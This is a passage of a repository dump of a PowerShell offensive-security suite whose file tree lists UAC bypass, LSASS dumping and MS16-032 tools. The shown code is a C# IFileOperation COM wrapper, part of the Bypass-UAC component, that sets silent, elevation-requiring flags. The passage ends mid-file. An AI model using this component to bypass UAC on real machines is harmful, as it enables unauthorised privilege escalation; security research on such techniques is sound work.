├── Bypass-UAC ├── Bypass-UAC.ps1 ├── FileOperations │ ├── FileOperations │ │ ├── ComReleaser.cs │ │ ├── FileOperation.5.1.ReSharper.user │ │ ├── FileOperation.cs │ │ ├── FileOperation.csproj │ │ ├── FileOperation.csproj.user │ │ ├── FileOperation.sln │ │ ├── FileOperation.suo │ │ ├── FileOperationProgressSink.cs │ │ ├── Interop │ │ │ ├── CopyEngineResult.cs │ │ │ ├── FileOperationFlags.cs │ │ │ ├── IFileOperation.cs │ │ │ ├── IFileOperationProgressSink.cs │ │ │ ├── IShellItem.cs │ │ │ └── SIGDN.cs │ │ ├── Properties │ │ │ └── AssemblyInfo.cs │ │ └── obj │ │ │ ├── Debug │ │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ └── Release │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── FileOperation.csproj.FileListAbsolute.txt │ │ │ ├── FileOperation.csprojResolveAssemblyReference.cache │ │ │ ├── FileOperation.dll │ │ │ └── FileOperation.pdb │ ├── Out-ManagedDll.ps1 │ └── README.md ├── README.md ├── Yamabiko │ ├── Out-UnmanagedDll.ps1 │ ├── README.md │ └── Yamabiko │ │ ├── Shared │ │ ├── _strcat.c │ │ ├── _strcpy.c │ │ ├── minirtl.h │ │ ├── ntos.h │ │ └── rtltypes.h │ │ ├── dll.sln │ │ ├── dll.vcxproj │ │ ├── dll.vcxproj.filters │ │ ├── dll.vcxproj.user │ │ ├── dllmain.c │ │ ├── export.def │ │ ├── resource.h │ │ ├── unbcl.h │ │ ├── version.aps │ │ ├── version.rc │ │ └── wbemcomn.h └── images │ ├── MSDN-2007-1.png │ ├── MSDN-2007-2.png │ ├── MSDN-2007-3.png │ ├── MSDN-2007-4.png │ ├── Win10-32.png │ ├── Win7-32.png │ └── Win8.1-64.png ├── Calculate-Hash.ps1 ├── Check-VTFile.ps1 ├── Conjure-LSASS.ps1 ├── Detect-Debug.ps1 ├── Export-LNKPwn.ps1 ├── Expose-NetAPI.ps1 ├── Get-CRC32.ps1 ├── Get-Exports.ps1 ├── Get-Handles.ps1 ├── Get-LimitChildItem.ps1 ├── Get-ProcessMiniDump.ps1 ├── Get-SystemModuleInformation.ps1 ├── Get-SystemProcessInformation.ps1 ├── Get-TokenPrivs.ps1 ├── Invoke-CreateProcess.ps1 ├── Invoke-MS16-032.ps1 ├── Invoke-NetSessionEnum.ps1 ├── Invoke-Runas.ps1 ├── Invoke-SMBShell.ps1 ├── LICENSE ├── Masquerade-PEB.ps1 ├── README.md ├── Stage-RemoteDll.ps1 ├── Start-Eidolon.ps1 ├── Subvert-PE.ps1 ├── Trace-Execution.ps1 └── UAC-TokenMagic.ps1 /Bypass-UAC/FileOperations/FileOperations/ComReleaser.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace FileOperation 7 | { 8 | class ComReleaser : IDisposable where T : class 9 | { 10 | private T _obj; 11 | 12 | public ComReleaser(T obj) 13 | { 14 | if (obj == null) throw new ArgumentNullException("obj"); 15 | if (!obj.GetType().IsCOMObject) throw new ArgumentOutOfRangeException("obj"); 16 | _obj = obj; 17 | } 18 | 19 | public T Item { get { return _obj; } } 20 | 21 | public void Dispose() 22 | { 23 | if (_obj != null) 24 | { 25 | Marshal.FinalReleaseComObject(_obj); 26 | _obj = null; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.5.1.ReSharper.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | False 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | Never 56 | 57 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------------------------------------------- 2 | // 3 | // Public Domain 4 | // 5 | // 6 | // The file operation. 7 | // 8 | // 9 | // -------------------------------------------------------------------------------------------------------------------- 10 | namespace FileOperation 11 | { 12 | using System; 13 | using System.IO; 14 | using System.Runtime.InteropServices; 15 | using System.Runtime.InteropServices.ComTypes; 16 | using System.Windows.Forms; 17 | 18 | /// 19 | /// The file operation. 20 | /// 21 | public class FileOperation : IDisposable 22 | { 23 | /// 24 | /// The file operation. 25 | /// 26 | private readonly IFileOperation fileOperation; 27 | 28 | /// 29 | /// The callback sink. 30 | /// 31 | private readonly FileOperationProgressSink callbackSink; 32 | 33 | /// 34 | /// The sink cookie. 35 | /// 36 | private readonly uint sinkCookie; 37 | 38 | /// 39 | /// The COM GUID for file operation 40 | /// 41 | private static readonly Guid ClsidFileOperation = new Guid("3ad05575-8857-4850-9277-11b85bdb8e09"); 42 | 43 | /// 44 | /// The file operation type. 45 | /// 46 | private static readonly Type FileOperationType = Type.GetTypeFromCLSID(ClsidFileOperation); 47 | 48 | /// 49 | /// The shell item guid. 50 | /// 51 | private static Guid shellItemGuid = typeof(IShellItem).GUID; 52 | 53 | /// 54 | /// The _disposed. 55 | /// 56 | private bool disposed; 57 | 58 | /// 59 | /// Initializes a new instance of the class. 60 | /// 61 | public FileOperation() 62 | : this(null) 63 | { 64 | } 65 | 66 | /// 67 | /// Initializes a new instance of the class. 68 | /// 69 | /// 70 | /// The callback sink. 71 | /// 72 | public FileOperation(FileOperationProgressSink callbackSink) 73 | : this(callbackSink, null) 74 | { 75 | } 76 | 77 | /// 78 | /// Initializes a new instance of the class. 79 | /// 80 | /// 81 | /// The callback sink. 82 | /// 83 | /// 84 | /// The owner. 85 | /// 86 | public FileOperation(FileOperationProgressSink callbackSink, IWin32Window owner) 87 | { 88 | this.callbackSink = callbackSink; 89 | this.fileOperation = (IFileOperation)Activator.CreateInstance(FileOperationType); 90 | 91 | this.fileOperation.SetOperationFlags(FileOperationFlags.FOF_NOCONFIRMMKDIR | FileOperationFlags.FOF_SILENT | FileOperationFlags.FOFX_SHOWELEVATIONPROMPT | FileOperationFlags.FOFX_NOCOPYHOOKS | FileOperationFlags.FOFX_REQUIREELEVATION); 92 | if (this.callbackSink != null) 93 | { 94 | this.sinkCookie = this.fileOperation.Advise(this.callbackSink); 95 | } 96 | 97 | if (owner != null) 98 | { 99 | this.fileOperation.SetOwnerWindow((uint)owner.Handle); 100 | } 101 | } 102 | 103 | /// 104 | /// The copy item. 105 | /// 106 | /// 107 | /// The source. 108 | /// 109 | /// 110 | /// The destination. 111 | /// 112 | /// 113 | /// The new name. 114 | /// 115 | public void CopyItem(string source, string destination, string newName) 116 | { 117 | this.ThrowIfDisposed(); 118 | using (var sourceItem = CreateShellItem(source)) 119 | using (var destinationItem = CreateShellItem(destination)) 120 | { 121 | this.fileOperation.CopyItem(sourceItem.Item, destinationItem.Item, newName, null); 122 | } 123 | } 124 | 125 | /// 126 | /// The move item. 127 | /// 128 | /// 129 | /// The source. 130 | /// 131 | /// 132 | /// The destination. 133 | /// 134 | /// 135 | /// The new name. 136 | /// 137 | public void MoveItem(string source, string destination, string newName) 138 | { 139 | this.ThrowIfDisposed(); 140 | using (var sourceItem = CreateShellItem(source)) 141 | using (var destinationItem = CreateShellItem(destination)) 142 | { 143 | this.fileOperation.MoveItem(sourceItem.Item, destinationItem.Item, newName, null); 144 | } 145 | } 146 | 147 | /// 148 | /// The rename item. 149 | /// 150 | /// 151 | /// The source. 152 | /// 153 | /// 154 | /// The new name. 155 | /// 156 | public void RenameItem(string source, string newName) 157 | { 158 | this.ThrowIfDisposed(); 159 | using (var sourceItem = CreateShellItem(source)) 160 | { 161 | this.fileOperation.RenameItem(sourceItem.Item, newName, null); 162 | } 163 | } 164 | 165 | /// 166 | /// The delete item. 167 | /// 168 | /// 169 | /// The source. 170 | /// 171 | public void DeleteItem(string source) 172 | { 173 | this.ThrowIfDisposed(); 174 | using (var sourceItem = CreateShellItem(source)) 175 | { 176 | this.fileOperation.DeleteItem(sourceItem.Item, null); 177 | } 178 | } 179 | 180 | /// 181 | /// News the item. 182 | /// 183 | /// Name of the folder. 184 | /// The file name. 185 | /// The file attributes. 186 | /// 187 | public void NewItem(string folderName, string name, FileAttributes attrs) 188 | { 189 | this.ThrowIfDisposed(); 190 | using (var folderItem = CreateShellItem(folderName)) 191 | { 192 | this.fileOperation.NewItem(folderItem.Item, attrs, name, string.Empty, this.callbackSink); 193 | } 194 | } 195 | 196 | /// 197 | /// The perform operations. 198 | /// 199 | public void PerformOperations() 200 | { 201 | this.ThrowIfDisposed(); 202 | this.fileOperation.PerformOperations(); 203 | } 204 | 205 | /// 206 | /// The dispose method 207 | /// 208 | public void Dispose() 209 | { 210 | if (this.disposed) 211 | { 212 | return; 213 | } 214 | 215 | this.disposed = true; 216 | if (this.callbackSink != null) 217 | { 218 | this.fileOperation.Unadvise(this.sinkCookie); 219 | } 220 | 221 | Marshal.FinalReleaseComObject(this.fileOperation); 222 | } 223 | 224 | /// 225 | /// The create shell item. 226 | /// 227 | /// 228 | /// The output path. 229 | /// 230 | /// 231 | /// The Shell Item if it exists 232 | /// 233 | private static ComReleaser CreateShellItem(string path) 234 | { 235 | return new ComReleaser( 236 | (IShellItem)SHCreateItemFromParsingName(path, null, ref shellItemGuid)); 237 | } 238 | 239 | /// 240 | /// Create shell item from name 241 | /// 242 | /// 243 | /// The output path. 244 | /// 245 | /// 246 | /// The binding context. 247 | /// 248 | /// 249 | /// The id guid . 250 | /// 251 | /// 252 | /// The shell item. 253 | /// 254 | [DllImport("shell32.dll", SetLastError = true, CharSet = CharSet.Unicode, PreserveSig = false)] 255 | [return: MarshalAs(UnmanagedType.Interface)] 256 | private static extern object SHCreateItemFromParsingName( 257 | [MarshalAs(UnmanagedType.LPWStr)] string pszPath, IBindCtx pbc, ref Guid riid); 258 | 259 | /// 260 | /// The throw if disposed. 261 | /// 262 | /// 263 | /// 264 | private void ThrowIfDisposed() 265 | { 266 | if (this.disposed) 267 | { 268 | throw new ObjectDisposedException(this.GetType().Name); 269 | } 270 | } 271 | } 272 | } 273 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.50727 7 | 2.0 8 | {260EAEFE-D38D-4539-BAA2-708704B2D873} 9 | Library 10 | Properties 11 | FileOperation 12 | FileOperation 13 | 14 | 15 | v2.0 16 | 17 | 18 | 19 | 20 | 4.0 21 | publish\ 22 | true 23 | Disk 24 | false 25 | Foreground 26 | 7 27 | Days 28 | false 29 | false 30 | true 31 | 0 32 | 1.0.0.%2a 33 | false 34 | false 35 | true 36 | 37 | 38 | true 39 | full 40 | false 41 | bin\Debug\ 42 | DEBUG;TRACE 43 | prompt 44 | 4 45 | false 46 | 47 | 48 | pdbonly 49 | true 50 | bin\Release\ 51 | TRACE 52 | prompt 53 | 4 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | False 74 | .NET Framework 3.5 SP1 Client Profile 75 | false 76 | 77 | 78 | False 79 | .NET Framework 3.5 SP1 80 | true 81 | 82 | 83 | False 84 | Windows Installer 3.1 85 | true 86 | 87 | 88 | 89 | 96 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileOperation", "FileOperation.csproj", "{260EAEFE-D38D-4539-BAA2-708704B2D873}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {260EAEFE-D38D-4539-BAA2-708704B2D873}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {260EAEFE-D38D-4539-BAA2-708704B2D873}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {260EAEFE-D38D-4539-BAA2-708704B2D873}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {260EAEFE-D38D-4539-BAA2-708704B2D873}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperation.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/FileOperation.suo -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/FileOperationProgressSink.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------------------------------------------- 2 | // 3 | // 4 | // 5 | // 6 | // The file operation progress sink. 7 | // 8 | // 9 | // -------------------------------------------------------------------------------------------------------------------- 10 | namespace FileOperation 11 | { 12 | using System; 13 | using System.Diagnostics; 14 | 15 | /// 16 | /// The file operation progress sink. 17 | /// 18 | public class FileOperationProgressSink : IFileOperationProgressSink 19 | { 20 | /// 21 | /// The start operations. 22 | /// 23 | public virtual void StartOperations() 24 | { 25 | TraceAction("StartOperations", string.Empty, 0); 26 | } 27 | 28 | /// 29 | /// The finish operations. 30 | /// 31 | /// 32 | /// The hr result. 33 | /// 34 | public virtual void FinishOperations(uint hrResult) 35 | { 36 | TraceAction("FinishOperations", string.Empty, hrResult); 37 | } 38 | 39 | /// 40 | /// The pre rename item. 41 | /// 42 | /// 43 | /// The dw flags. 44 | /// 45 | /// 46 | /// The psi item. 47 | /// 48 | /// 49 | /// The psz new name. 50 | /// 51 | public virtual void PreRenameItem(uint dwFlags, IShellItem psiItem, string pszNewName) 52 | { 53 | TraceAction("PreRenameItem", psiItem, 0); 54 | } 55 | 56 | /// 57 | /// The post rename item. 58 | /// 59 | /// 60 | /// The dw flags. 61 | /// 62 | /// 63 | /// The psi item. 64 | /// 65 | /// 66 | /// The psz new name. 67 | /// 68 | /// 69 | /// The hr rename. 70 | /// 71 | /// 72 | /// The psi newly created. 73 | /// 74 | public virtual void PostRenameItem(uint dwFlags, 75 | IShellItem psiItem, string pszNewName, 76 | uint hrRename, IShellItem psiNewlyCreated) 77 | { 78 | TraceAction("PostRenameItem", psiNewlyCreated, hrRename); 79 | } 80 | 81 | /// 82 | /// The pre move item. 83 | /// 84 | /// 85 | /// The dw flags. 86 | /// 87 | /// 88 | /// The psi item. 89 | /// 90 | /// 91 | /// The psi destination folder. 92 | /// 93 | /// 94 | /// The psz new name. 95 | /// 96 | public virtual void PreMoveItem( 97 | uint dwFlags, IShellItem psiItem, 98 | IShellItem psiDestinationFolder, string pszNewName) 99 | { 100 | TraceAction("PreMoveItem", psiItem, 0); 101 | } 102 | 103 | /// 104 | /// The post move item. 105 | /// 106 | /// 107 | /// The dw flags. 108 | /// 109 | /// 110 | /// The psi item. 111 | /// 112 | /// 113 | /// The psi destination folder. 114 | /// 115 | /// 116 | /// The psz new name. 117 | /// 118 | /// 119 | /// The hr move. 120 | /// 121 | /// 122 | /// The psi newly created. 123 | /// 124 | public virtual void PostMoveItem( 125 | uint dwFlags, IShellItem psiItem, 126 | IShellItem psiDestinationFolder, 127 | string pszNewName, uint hrMove, 128 | IShellItem psiNewlyCreated) 129 | { 130 | TraceAction("PostMoveItem", psiNewlyCreated, hrMove); 131 | } 132 | 133 | /// 134 | /// The pre copy item. 135 | /// 136 | /// 137 | /// The dw flags. 138 | /// 139 | /// 140 | /// The psi item. 141 | /// 142 | /// 143 | /// The psi destination folder. 144 | /// 145 | /// 146 | /// The psz new name. 147 | /// 148 | public virtual void PreCopyItem( 149 | uint dwFlags, IShellItem psiItem, 150 | IShellItem psiDestinationFolder, string pszNewName) 151 | { 152 | TraceAction("PreCopyItem", psiItem, 0); 153 | } 154 | 155 | public virtual void PostCopyItem(uint flags, IShellItem psiItem, 156 | IShellItem psiDestinationFolder, string pszNewName, 157 | CopyEngineResult copyResult, IShellItem psiNewlyCreated) 158 | { 159 | TraceAction("PostCopyItem", psiNewlyCreated, (uint)copyResult); 160 | } 161 | 162 | /// 163 | /// The pre delete item. 164 | /// 165 | /// 166 | /// The dw flags. 167 | /// 168 | /// 169 | /// The psi item. 170 | /// 171 | public virtual void PreDeleteItem( 172 | uint dwFlags, IShellItem psiItem) 173 | { 174 | TraceAction("PreDeleteItem", psiItem, 0); 175 | } 176 | 177 | /// 178 | /// The post delete item. 179 | /// 180 | /// 181 | /// The dw flags. 182 | /// 183 | /// 184 | /// The psi item. 185 | /// 186 | /// 187 | /// The hr delete. 188 | /// 189 | /// 190 | /// The psi newly created. 191 | /// 192 | public virtual void PostDeleteItem( 193 | uint dwFlags, IShellItem psiItem, 194 | uint hrDelete, IShellItem psiNewlyCreated) 195 | { 196 | TraceAction("PostDeleteItem", psiItem, hrDelete); 197 | } 198 | 199 | /// 200 | /// The pre new item. 201 | /// 202 | /// 203 | /// The dw flags. 204 | /// 205 | /// 206 | /// The psi destination folder. 207 | /// 208 | /// 209 | /// The psz new name. 210 | /// 211 | public virtual void PreNewItem(uint dwFlags, 212 | IShellItem psiDestinationFolder, string pszNewName) 213 | { 214 | TraceAction("PreNewItem", pszNewName, 0); 215 | } 216 | 217 | /// 218 | /// The post new item. 219 | /// 220 | /// 221 | /// The dw flags. 222 | /// 223 | /// 224 | /// The psi destination folder. 225 | /// 226 | /// 227 | /// The psz new name. 228 | /// 229 | /// 230 | /// The psz template name. 231 | /// 232 | /// 233 | /// The dw file attributes. 234 | /// 235 | /// 236 | /// The hr new. 237 | /// 238 | /// 239 | /// The psi new item. 240 | /// 241 | public virtual void PostNewItem(uint dwFlags, 242 | IShellItem psiDestinationFolder, string pszNewName, 243 | string pszTemplateName, uint dwFileAttributes, 244 | uint hrNew, IShellItem psiNewItem) 245 | { 246 | TraceAction("PostNewItem", psiNewItem, hrNew); 247 | } 248 | 249 | /// 250 | /// The update progress. 251 | /// 252 | /// 253 | /// The i work total. 254 | /// 255 | /// 256 | /// The i work so far. 257 | /// 258 | public virtual void UpdateProgress(uint iWorkTotal, uint iWorkSoFar) 259 | { 260 | Debug.WriteLine("UpdateProgress: " + iWorkSoFar + "/" + iWorkTotal); 261 | } 262 | 263 | /// 264 | /// The reset timer. 265 | /// 266 | public void ResetTimer() 267 | { 268 | } 269 | 270 | /// 271 | /// The pause timer. 272 | /// 273 | public void PauseTimer() 274 | { 275 | } 276 | 277 | /// 278 | /// The resume timer. 279 | /// 280 | public void ResumeTimer() 281 | { 282 | } 283 | 284 | /// 285 | /// The trace action. 286 | /// 287 | /// 288 | /// The action. 289 | /// 290 | /// 291 | /// The item. 292 | /// 293 | /// 294 | /// The hresult. 295 | /// 296 | [Conditional("DEBUG")] 297 | private static void TraceAction(string action, string item, uint hresult) 298 | { 299 | var message = string.Format("{0} ({1})", action, (CopyEngineResult)hresult); 300 | if (!string.IsNullOrEmpty(item)) 301 | { 302 | message += " : " + item; 303 | } 304 | 305 | Debug.WriteLine(message); 306 | } 307 | 308 | /// 309 | /// The trace action. 310 | /// 311 | /// 312 | /// The action. 313 | /// 314 | /// 315 | /// The item. 316 | /// 317 | /// 318 | /// The hresult. 319 | /// 320 | [Conditional("DEBUG")] 321 | private static void TraceAction( 322 | string action, IShellItem item, uint hresult) 323 | { 324 | TraceAction(action, 325 | item != null ? item.GetDisplayName(SIGDN.SIGDN_NORMALDISPLAY) : null, 326 | hresult); 327 | } 328 | } 329 | } 330 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Interop/FileOperationFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace FileOperation 4 | { 5 | [Flags] 6 | internal enum FileOperationFlags : uint 7 | { 8 | FOF_MULTIDESTFILES = 0x0001, 9 | FOF_CONFIRMMOUSE = 0x0002, 10 | FOF_SILENT = 0x0004, // don't create progress/report 11 | FOF_RENAMEONCOLLISION = 0x0008, 12 | FOF_NOCONFIRMATION = 0x0010, // Don't prompt the user. 13 | FOF_WANTMAPPINGHANDLE = 0x0020, // Fill in SHFILEOPSTRUCT.hNameMappings 14 | // Must be freed using SHFreeNameMappings 15 | FOF_ALLOWUNDO = 0x0040, 16 | FOF_FILESONLY = 0x0080, // on *.*, do only files 17 | FOF_SIMPLEPROGRESS = 0x0100, // means don't show names of files 18 | FOF_NOCONFIRMMKDIR = 0x0200, // don't confirm making any needed dirs 19 | FOF_NOERRORUI = 0x0400, // don't put up error UI 20 | FOF_NOCOPYSECURITYATTRIBS = 0x0800, // dont copy NT file Security Attributes 21 | FOF_NORECURSION = 0x1000, // don't recurse into directories. 22 | FOF_NO_CONNECTED_ELEMENTS = 0x2000, // don't operate on connected file elements. 23 | FOF_WANTNUKEWARNING = 0x4000, // during delete operation, warn if nuking instead of recycling (partially overrides FOF_NOCONFIRMATION) 24 | FOF_NORECURSEREPARSE = 0x8000, // treat reparse points as objects, not containers 25 | 26 | FOFX_NOSKIPJUNCTIONS = 0x00010000, // Don't avoid binding to junctions (like Task folder, Recycle-Bin) 27 | FOFX_PREFERHARDLINK = 0x00020000, // Create hard link if possible 28 | FOFX_SHOWELEVATIONPROMPT = 0x00040000, // Show elevation prompts when error UI is disabled (use with FOF_NOERRORUI) 29 | FOFX_EARLYFAILURE = 0x00100000, // Fail operation as soon as a single error occurs rather than trying to process other items (applies only when using FOF_NOERRORUI) 30 | FOFX_PRESERVEFILEEXTENSIONS = 0x00200000, // Rename collisions preserve file extns (use with FOF_RENAMEONCOLLISION) 31 | FOFX_KEEPNEWERFILE = 0x00400000, // Keep newer file on naming conflicts 32 | FOFX_NOCOPYHOOKS = 0x00800000, // Don't use copy hooks 33 | FOFX_NOMINIMIZEBOX = 0x01000000, // Don't allow minimizing the progress dialog 34 | FOFX_MOVEACLSACROSSVOLUMES = 0x02000000, // Copy security information when performing a cross-volume move operation 35 | FOFX_DONTDISPLAYSOURCEPATH = 0x04000000, // Don't display the path of source file in progress dialog 36 | FOFX_DONTDISPLAYDESTPATH = 0x08000000, // Don't display the path of destination file in progress dialog 37 | FOFX_REQUIREELEVATION = 0x10000000, // The user expects a requirement for rights elevation, so do not display a dialog box asking for a confirmation of the elevation. 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Interop/IFileOperation.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | 7 | namespace FileOperation 8 | { 9 | [ComImport] 10 | [Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8")] 11 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 12 | internal interface IFileOperation 13 | { 14 | uint Advise(IFileOperationProgressSink pfops); 15 | void Unadvise(uint dwCookie); 16 | 17 | void SetOperationFlags(FileOperationFlags dwOperationFlags); 18 | void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage); 19 | void SetProgressDialog([MarshalAs(UnmanagedType.Interface)] object popd); 20 | void SetProperties([MarshalAs(UnmanagedType.Interface)] object pproparray); 21 | void SetOwnerWindow(uint hwndParent); 22 | 23 | void ApplyPropertiesToItem(IShellItem psiItem); 24 | void ApplyPropertiesToItems([MarshalAs(UnmanagedType.Interface)] object punkItems); 25 | 26 | void RenameItem(IShellItem psiItem, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, 27 | IFileOperationProgressSink pfopsItem); 28 | 29 | void RenameItems( 30 | [MarshalAs(UnmanagedType.Interface)] object pUnkItems, 31 | [MarshalAs(UnmanagedType.LPWStr)] string pszNewName); 32 | 33 | void MoveItem( 34 | IShellItem psiItem, 35 | IShellItem psiDestinationFolder, 36 | [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, 37 | IFileOperationProgressSink pfopsItem); 38 | 39 | void MoveItems( 40 | [MarshalAs(UnmanagedType.Interface)] object punkItems, 41 | IShellItem psiDestinationFolder); 42 | 43 | void CopyItem( 44 | IShellItem psiItem, 45 | IShellItem psiDestinationFolder, 46 | [MarshalAs(UnmanagedType.LPWStr)] string pszCopyName, 47 | IFileOperationProgressSink pfopsItem); 48 | 49 | void CopyItems( 50 | [MarshalAs(UnmanagedType.Interface)] object punkItems, 51 | IShellItem psiDestinationFolder); 52 | 53 | void DeleteItem( 54 | IShellItem psiItem, 55 | IFileOperationProgressSink pfopsItem); 56 | 57 | void DeleteItems([MarshalAs(UnmanagedType.Interface)] object punkItems); 58 | 59 | uint NewItem( 60 | IShellItem psiDestinationFolder, 61 | FileAttributes dwFileAttributes, 62 | [MarshalAs(UnmanagedType.LPWStr)] string pszName, 63 | [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName, 64 | IFileOperationProgressSink pfopsItem); 65 | 66 | void PerformOperations(); 67 | 68 | [return: MarshalAs(UnmanagedType.Bool)] 69 | bool GetAnyOperationsAborted(); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Interop/IFileOperationProgressSink.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Text; 6 | using System.Runtime.InteropServices; 7 | 8 | namespace FileOperation 9 | { 10 | [ComImport] 11 | [Guid("04b0f1a7-9490-44bc-96e1-4296a31252e2")] 12 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 13 | public interface IFileOperationProgressSink 14 | { 15 | void StartOperations(); 16 | void FinishOperations(uint hrResult); 17 | 18 | void PreRenameItem(uint dwFlags, IShellItem psiItem, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName); 19 | void PostRenameItem(uint dwFlags, IShellItem psiItem, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, 20 | uint hrRename, IShellItem psiNewlyCreated); 21 | 22 | void PreMoveItem(uint dwFlags, IShellItem psiItem, IShellItem psiDestinationFolder, 23 | [MarshalAs(UnmanagedType.LPWStr)] string pszNewName); 24 | void PostMoveItem(uint dwFlags, IShellItem psiItem, IShellItem psiDestinationFolder, 25 | [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, uint hrMove, IShellItem psiNewlyCreated); 26 | 27 | void PreCopyItem(uint dwFlags, IShellItem psiItem, IShellItem psiDestinationFolder, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName); 28 | void PostCopyItem(uint dwFlags, IShellItem psiItem, IShellItem psiDestinationFolder, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, 29 | CopyEngineResult copyResult, IShellItem psiNewlyCreated); 30 | 31 | void PreDeleteItem(uint dwFlags, IShellItem psiItem); 32 | void PostDeleteItem(uint dwFlags, IShellItem psiItem, uint hrDelete, IShellItem psiNewlyCreated); 33 | 34 | void PreNewItem(uint dwFlags, IShellItem psiDestinationFolder, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName); 35 | void PostNewItem(uint dwFlags, IShellItem psiDestinationFolder, [MarshalAs(UnmanagedType.LPWStr)] string pszNewName, 36 | [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName, uint dwFileAttributes, 37 | uint hrNew, IShellItem psiNewItem); 38 | 39 | void UpdateProgress(uint iWorkTotal, uint iWorkSoFar); 40 | 41 | void ResetTimer(); 42 | void PauseTimer(); 43 | void ResumeTimer(); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Interop/IShellItem.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Text; 6 | using System.Runtime.InteropServices; 7 | using System.Runtime.InteropServices.ComTypes; 8 | 9 | namespace FileOperation 10 | { 11 | [ComImport] 12 | [Guid("43826d1e-e718-42ee-bc55-a1e261c37bfe")] 13 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 14 | public interface IShellItem 15 | { 16 | [return: MarshalAs(UnmanagedType.Interface)] 17 | object BindToHandler(IBindCtx pbc, ref Guid bhid, ref Guid riid); 18 | 19 | IShellItem GetParent(); 20 | 21 | [return: MarshalAs(UnmanagedType.LPWStr)] 22 | string GetDisplayName(SIGDN sigdnName); 23 | 24 | uint GetAttributes(uint sfgaoMask); 25 | 26 | int Compare(IShellItem psi, uint hint); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Interop/SIGDN.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Text; 6 | 7 | namespace FileOperation 8 | { 9 | public enum SIGDN : uint 10 | { 11 | SIGDN_NORMALDISPLAY = 0x00000000, 12 | SIGDN_PARENTRELATIVEPARSING = 0x80018001, 13 | SIGDN_PARENTRELATIVEFORADDRESSBAR = 0x8001c001, 14 | SIGDN_DESKTOPABSOLUTEPARSING = 0x80028000, 15 | 